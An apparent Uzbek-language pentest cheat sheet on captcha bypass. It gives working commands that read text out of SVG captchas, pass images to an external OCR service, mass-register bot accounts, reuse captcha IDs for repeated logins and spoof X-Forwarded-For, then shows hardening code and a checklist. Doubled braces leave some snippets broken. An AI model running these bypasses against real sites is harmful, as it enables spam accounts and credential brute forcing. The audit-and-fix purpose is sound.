Captcha — botlarni to'xtatish uchun. U zaif bo'lsa — parol kombinatsiyasi, 2FA brute force va ro'yxatdan o'tish (mass hisob yaratish) avtomatlashtiriladi.

# 1) captcha qayerda, qanday
grep -rniE "captcha" src/ | head

# 2) SVG da matn bormi? (ENG OSON ZAIFLIK)
curl -s https://site.uz/api/auth/captcha | head -c 400
# <text>, <tspan>, <path d="M0 0L..."> → matn bor
curl -s https://site.uz/api/auth/captcha | grep -oE "([A-Za-z0-9]{{8,}})" | head

# 3) Content-Type
curl -s -D- -o /dev/null https://site.uz/api/auth/captcha | grep -i content-type
# image/svg+xml → o'qish mumkin; image/png → rasm

# 1) SVG dan matnni to'g'ridan-to'g'ri o'qish
curl -s https://site.uz/api/auth/captcha | grep -oE ">[A-Z0-9]{{4,8}}<" | tr -d '><'
curl -s https://site.uz/api/auth/captcha | sed -n 's/.*<text[^>]*>\([^<]*\)<.*/\1/p'

# 2) tashqi OCR xizmati (rasm uchun)
curl -s https://site.uz/api/auth/captcha -o /tmp/c.png
python3 -c "
import requests
img = open('/tmp/c.png','rb').read()
r = requests.post('https://api.ocr.space/parse/image',
    files={'file': img}, data={'apikey':'helloworld','language':'eng'})
print(r.json()['ParsedResults'][0]['ParsedText'])" 2>/dev/null

# 3) registratsiya yukini oshirish (captcha yo'q bo'lsa)
for I in $(seq 1 15); do
  C=$(curl -s -c /tmp/cj -X POST https://site.uz/api/auth/captcha | jq -r .captchaId)
  curl -s -b /tmp/cj -X POST https://site.uz/api/auth/register \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"bot$I@spam.uz\",\"password\":\"Test1234!\",\"captcha_id\":\"$C\",\"captcha_text\":\"ABCDE\"}" \
    | jq -c .
done

# 4) captcha identifikatorini qayta ishlatish
C=$(curl -s -c /tmp/cj -X POST https://site.uz/api/auth/captcha | jq -r .captchaId)
for I in 1 2 3 4 5; do
  curl -s -b /tmp/cj -X POST https://site.uz/api/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"a@b.uz\",\"password\":\"x\",\"captcha_id\":\"$C\",\"captcha_text\":\"ABCDE\"}" \
    | jq -c .
done
# 5+ urish muvaffaqiyatli → captcha bir marta emas

# 5) session o'zgartirib o'tish
curl -s -X POST https://site.uz/api/auth/captcha -H "Cookie: s=boshqa"
curl -s -X POST https://site.uz/api/auth/captcha -H "X-Forwarded-For: 1.2.3.4"

1. Raster PNG (SVG EMAS)

// server matnni QAYTARMAYDI — faqat tasvir
const png = renderPNG(text);              // pixellar chiziladi
res.set('Content-Type', 'image/png');
res.set('Cache-Control', 'no-store');
res.end(png);

// matn faqat serverda, 1 daqiqalik xotirada
store.set(`captcha:${{id}}`, {{ text, tries: 3, ip, ts }}, 60);

2. Bitta urish + sessiya bog'lash

if (!store.has(`captcha:${{id}}`)) return fail('captcha eskirgan');
store.del(`captcha:${{id}}`);            // ← DARHOL o'chirish
if (req.session.captchaId !== id) return fail('mismatching');

3. Qat'iy tekshirish

if (typeof body.captcha_text !== 'string' || body.captcha_text.length > 10)
  return fail();
if (store.get(`attempts:${{ip}}`) > 20) return fail('rate limit');

4. Kuchli variant

• hcaptcha / Turnstile — bepul, bot yaratuvchilar hali yeng olmagan
• Qo'shimcha: urishlar orasidagi vaqt oralig'i (inson 2+ sek)
• Boshqa signallar: IP reytingi, hisob yoshi, xavf balli

• Captcha `image/png`, SVG emas
• Rasmda ``/`` matni yo'q
• Har bir captcha 1 marta ishlatiladi
• Sessiya va IP ga bog'langan
• Login, register va 2FA da talab qilinadi
• `Cache-Control: no-store` qo'yilgan
• Telegram orqali kirishda captcha yo'q (to'g'ri)
• SVG captcha bilan avtomatik yechilindi